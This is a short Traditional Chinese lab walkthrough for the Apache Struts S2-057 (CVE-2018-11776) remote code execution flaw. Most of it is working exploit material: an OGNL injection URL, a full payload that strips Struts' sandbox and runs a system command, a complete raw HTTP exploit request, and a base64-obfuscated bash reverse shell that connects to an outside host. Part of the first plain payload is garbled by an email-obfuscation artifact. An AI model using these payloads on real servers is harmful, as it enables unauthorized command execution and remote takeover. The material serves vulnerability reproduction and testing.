影響版本：<=Struts 2.3.34，Struts 2.5.16

漏洞詳情：

• https://cwiki.apache.org/confluence/display/WW/S2-057
• https://lgtm.com/blog/apache_struts_CVE-2018-11776
• https://xz.aliyun.com/t/2618
• https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg

漏洞環境

執行如下命令啟動Struts 2.3.34：

docker-compose up -d

環境啟動後，訪問http://your-ip:8080/showcase/

有效載荷：

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到Location頭中已經返回了233*233的結果。

使用來自S2-057 漏洞分析和 POC的有效負載：

${
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
 

Payload要經過URL編碼

GET /struts2-showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('id')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
Host: 192.168.10.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=E5EA783A0A714DDE8DF6E4EFD132BF3F
Upgrade-Insecure-Requests: 1


 

結果：

反彈Shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
#URL編碼
bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS85OTk5IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D